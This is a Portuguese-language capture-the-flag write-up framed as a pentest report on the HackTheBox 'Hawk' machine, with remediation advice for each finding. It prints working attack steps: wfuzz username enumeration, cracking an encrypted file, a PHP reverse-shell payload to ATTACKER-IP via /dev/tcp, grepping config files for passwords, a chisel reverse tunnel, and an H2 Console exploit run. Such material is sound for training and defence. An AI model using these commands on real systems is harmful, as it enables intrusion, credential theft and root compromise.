Documentação: Hawk CTF

Documentação: Hawk CTF

Relatório de pentest, apresentado pela Behind Security, como parte da série Road to OSCP. O foco de hoje é o desafio Hawk CTF da HackTheBox.

Hawk CTF icon

Hawk CTF

O Hawk CTF é uma máquina de dificuldade média a difícil, que oferece excelente prática em pentest de Drupal. A instalação explorável do H2 DBMS também é realista, já que consoles SQL baseados na web (como o RavenDB, etc.) são encontrados em muitos ambientes. O desafio de decifração OpenSSL aumenta a dificuldade desta máquina.

HackTheBox Logo

HackTheBox

O Hack The Box fornece às pessoas, empresas e universidades as ferramentas necessárias para melhorar continuamente suas capacidades de cibersegurança - tudo em um único lugar.

Behind Security main logo, cropped.

BEHIND SECURITY

A Behind Security é uma plataforma online dedicada a fornecer artigos informativos sobre cibersegurança, privacidade e programação.

Resumo Executivo

Introdução

Este documento apresenta os resultados de uma avaliação de segurança realizada na máquina do Hawk CTF (IP: 10.10.10.102). O relatório fornece uma análise abrangente das descobertas, incluindo explicações de vulnerabilidades, classificações de gravidade e passos para reproduzir as vulnerabilidades identificadas.

Objetivo

A avaliação buscou identificar vulnerabilidades que poderiam potencialmente levar a acesso não autorizado, comprometimento de dados ou escalonamento de privilégios. Ao conduzir cenários controlados de exploração, a avaliação tinha como objetivo destacar o impacto dessas vulnerabilidades e fornecer recomendações acionáveis para remediação.

Requisitos

A avaliação foi conduzida com os seguintes requisitos em mente:

  • Identificar vulnerabilidades na instalação do Drupal CMS.
  • Explorar vulnerabilidades para demonstrar o impacto potencial.
  • Avaliar a eficácia dos controles de acesso e mecanismos de autenticação.
  • Demonstrar escalonamento de privilégios de nível de usuário para root.
  • Fornecer explicações detalhadas sobre vulnerabilidades, classificações de gravidade e recomendações de remediação.

Resumo de Alto Nível

A avaliação revelou várias vulnerabilidades na máquina Hawk:

  1. Enumeração de Usuário através da Mensagem de Erro de Redefinição de Senha (Gravidade Moderada)
  2. Credenciais Expostas via Descriptografia de .drupal.txt.enc (Gravidade Alta)
  3. Acesso Inicial através do Módulo PHP Filter no Drupal CMS (Gravidade Alta)
  4. Divulgação de Credenciais em Texto Claro que levou a Escalonamento de Privilégios para o usuário "daniel" (Gravidade Alta)
  5. Software Desatualizado que levou a Escalonamento de Privilégios para root - Console do Banco de Dados H2 (Gravidade Extrema)

Descobertas Detalhadas

Explicações detalhadas sobre vulnerabilidades, correções de vulnerabilidades, classificações de gravidade e etapas para reproduzir as vulnerabilidades identificadas estão documentadas na seção "Desafio Independente".

Recomendações

Com base nas descobertas da avaliação, as seguintes recomendações são aconselhadas para aprimorar a postura de segurança da máquina Hawk:

  1. Segurança do CMS: Remova módulos desnecessários, como o Módulo PHP Filter, para reduzir a superfície de ataque. Implemente a autenticação de dois fatores (2FA).
  2. Práticas Inseguras Relacionadas a Credenciais: Imponha políticas de senha fortes e evite a reutilização de senhas, revise e melhore a criptografia e o armazenamento de arquivos sensíveis contendo credenciais.
  3. Segurança do FTP: Implemente controles de acesso adequados para o serviço FTP.
  4. Atualize o Console do Banco de Dados H2: Atualize regularmente o Banco de Dados H2 para a versão mais recente para mitigar vulnerabilidades conhecidas.


Metodologia

O teste de penetração da Behind Security seguiu uma metodologia abrangente e estruturada, incorporando as seguintes fases-chave:

  1. Reconhecimento: A fase inicial envolveu a coleta de informações sobre portas abertas.

  2. Enumeração: Nesta fase, a Behind Security conduziu uma enumeração detalhada do sistema-alvo, identificando serviços expostos, diretórios do servidor web e pontos de entrada potenciais para análises adicionais.

  3. Avaliação de Vulnerabilidade: Foram empregadas ferramentas de varredura automatizadas e técnicas manuais para identificar potenciais vulnerabilidades de segurança na aplicação web e na configuração do servidor.

  4. Exploração: Vulnerabilidades que representavam riscos significativos foram exploradas para verificar seu impacto na segurança do sistema.

  5. Pós-Exploração: Na fase final, a Behind Security tentou escalar privilégios e obter acesso mais profundo ao sistema, simulando cenários de ataque do mundo real.

Legenda de Cores

Legenda de cores do console:

Texto padrão do console
Comandos inseridos pelo testador de penetração
Texto que desejamos destacar
{...} Saída abreviada para brevidade

Classificação de Risco

Risk Classification from http://www.pentest-standard.org

Desafio Independente - 10.10.10.102

Enumeração de Serviços

Endereço IPPortas Abertas
10.10.10.102TCP: 21, 22, 80, 5435, 8082, 9092
Resultado do scan nmap

Enumeração do Servidor Web (TCP: 80)

Executando Apache httpd 2.4.29.

Enumeração do CMS

A ferramenta droopescan identificou plugins, temas e possíveis informações de versão, incluindo a URL de login padrão do admin. O comando usado foi: droopescan scan drupal -u http://10.10.10.102

Resultado do scan droopescan

Enumeração de Nomes de Usuário

Explicação da Vulnerabilidade: A mensagem de erro da aplicação web durante uma solicitação de redefinição de senha (em /user/password) expõe nomes de usuário válidos no sistema. Isso fornece aos atacantes uma lista de contas válidas, facilitando ataques direcionados.

Correção da Vulnerabilidade: Modificar a mensagem de erro para evitar a divulgação de nomes de usuário válidos. Implementar tratamento adequado de erros e validação.

Severidade: Moderada

Passos para Reproduzir a Descoberta:

  1. Execute o comando: wfuzz -d "name=FUZZ&form_build_id=form-0SR6gkn5bmPLfm6PeBEdlOna5oOMAsN2YUFI21ja-iM&form_id=user_pass&op=E-mail+new+password" -w /usr/share/seclists/Usernames/Names/names.txt -H "Content-Type: application/x-www-form-urlencoded" --hc 200 http://10.10.10.102/user/password
  2. Analise as respostas para identificar nomes de usuário válidos.

Enumeração do FTP (TCP: 21)

Login Anônimo e Vazamento de Dados

Explicação da Vulnerabilidade: O login anônimo está habilitado no servidor FTP, permitindo acesso não autorizado. Um arquivo criptografado .drupal.txt.enc contendo dados potencialmente sensíveis foi descoberto. Após baixar o arquivo, a Behind Security conseguiu quebrá-lo usando uma ferramenta chamada "bruteforce-salted-openssl" e revelar as credenciais do usuário admin do Drupal CMS.

Correção da Vulnerabilidade: Desative o login anônimo no FTP. Reveja e melhore a criptografia e o armazenamento de arquivos sensíveis.

Severidade: Alta

Passos para Reproduzir o Ataque:

  1. Acesse o servidor FTP aproveitando a capacidade de login anônimo. Para fazer isso, digite o comando ftp [email protected] e pressione Enter quando solicitado a senha.
  2. Baixe o arquivo criptografado em messages/.drupal.txt.enc.
  3. Decode a partir do base64 e salve em outro arquivo executando o comando: cat .drupal.txt.enc | base64 -d > drupal.txt
  4. Localmente, quebre a senha de decodificação usando o comando: bruteforce-salted-openssl -f /usr/share/wordlists/rockyou.txt -d SHA256 -t 5 drupal.txt
  5. Após obter a senha de decodificação (REDACTED), use-a para recuperar o conteúdo do arquivo. O comando é: openssl enc -aes-256-cbc -d -in drupal.txt -out decrypted.txt -k friends
  6. Agora você pode fazer login como admin usando a senha (REDACTED) no Drupal CMS na porta 80.
Conectando ao servidor FTP, baixando o arquivo .drupal.txt.enc, decodificando seu conteúdo e quebrando a senha de decodificação.
Descriptografando a mensagem que revela credenciais válidas para o usuário admin no Drupal CMS (porta 80).

Acesso Inicial - Enganando o CMS para Executar Código PHP Malicioso

Explicação da Vulnerabilidade: A Behind Security obteve acesso ao CMS Drupal como administrador e explorou o Módulo PHP Filter para executar código PHP malicioso.

Correção da Vulnerabilidade: Desative completamente o Módulo PHP Filter e conduza uma revisão minuciosa das permissões de usuário para evitar a execução não autorizada de código.

Gravidade: Alta

Passos para Reproduzir o Ataque:

  1. Faça login como administrador com a senha previamente descoberta.
  2. Vá para Módulos -> (Marque) PHP Filter -> Salvar configuração.
  3. Em seguida, Adicionar conteúdo -> Selecione Página Básica ou Artigo e insira código php malicioso no corpo. Neste caso, <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER-IP/PORT 0>&1 '"); ?>
  4. Selecione Código PHP no formato de Texto e depois selecione Visualização.

Pós-Exploração

Escalada de Privilégios para "daniel"

Explicação da Vulnerabilidade: A Behind Security conduziu uma enumeração mais detalhada e descobriu credenciais para um usuário chamado "daniel" ao analisar arquivos de configuração relacionados ao CMS Drupal.

Correção da Vulnerabilidade: Imponha credenciais únicas e fortes para cada conta de usuário. Evite reutilizar senhas em diferentes serviços.

Gravidade: Alta

Passos para Reproduzir o Ataque:

  1. A Behind Security executou o seguinte comando: find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
  2. As credenciais para o usuário "daniel" foram identificadas.
  3. A Behind Security conseguiu fazer login via SSH como [email protected], especificando a senha: REDACTED
Senha exposta
Mudando para o usuário "daniel" e escapando do interpretador python

Escalada de Privilégios para root

Explicação da Vulnerabilidade: A Behind Security estabeleceu um túnel TCP usando a ferramenta "chisel" e explorou uma vulnerabilidade na versão 1.4.196 do H2 Database para obter acesso de root.

Correção da Vulnerabilidade: Atualize e aplique patches regularmente em componentes de software, incluindo bancos de dados, para corrigir vulnerabilidades conhecidas.

Gravidade: Extrema

Passos para Reproduzir o Ataque:

  1. A Behind Security estabeleceu um túnel TCP entre sua máquina e a máquina da vítima usando a ferramenta chisel: ./chisel server -p 1337 --reverse --socks5 & (atacante) e ./chisel client ATTACKER-IP:1337 R:socks & (vítima).
  2. A Behind Security acessou o Console do H2 Database (localhost:8082) através do túnel.
  3. O atacante explorou a vulnerabilidade do H2 Database usando um exploit público. O comando usado durante o engajamento foi: proxychains4 python 45506.py -H localhost:8082
Fazendo upload do chisel para a vítima e configurando um tunnel TCP
Configuração do foxyproxy para ser usado com o chisel como proxy
Painel do H2 Database acessado pelo tunnel tcp em localhost:8082
Executando o exploit e obtendo acesso root

Conclusão

A Behind Security executou com sucesso código PHP malicioso no CMS, escalou privilégios para o usuário “daniel” e explorou ainda mais vulnerabilidades no banco de dados H2 para obter acesso de root. Essas descobertas destacam a importância de atualizar e proteger regularmente os componentes de software, implementar controles de acesso adequados e manter práticas fortes de autenticação para mitigar o risco de acesso não autorizado e escalonamento de privilégios. Medidas de remediação devem ser prontamente aplicadas para abordar as vulnerabilidades identificadas e aprimorar a postura de segurança do sistema.

Esperamos que você tenha achado nosso conteúdo útil e convidamos você a explorar mais de nosso site para descobrir outros tópicos interessantes que abordamos. Da cibersegurança à programação, nos esforçamos para fornecer aos nossos leitores as informações mais recentes e relevantes que possam ajudá-los a se manter informados e à frente do cenário. Estamos comprometidos em oferecer a melhor experiência do usuário a você e estamos abertos a feedback e sugestões por meio de nosso formulário de contato. Obrigado por escolher a Behind Security, esperamos vê-lo novamente em breve!

Rolar para cima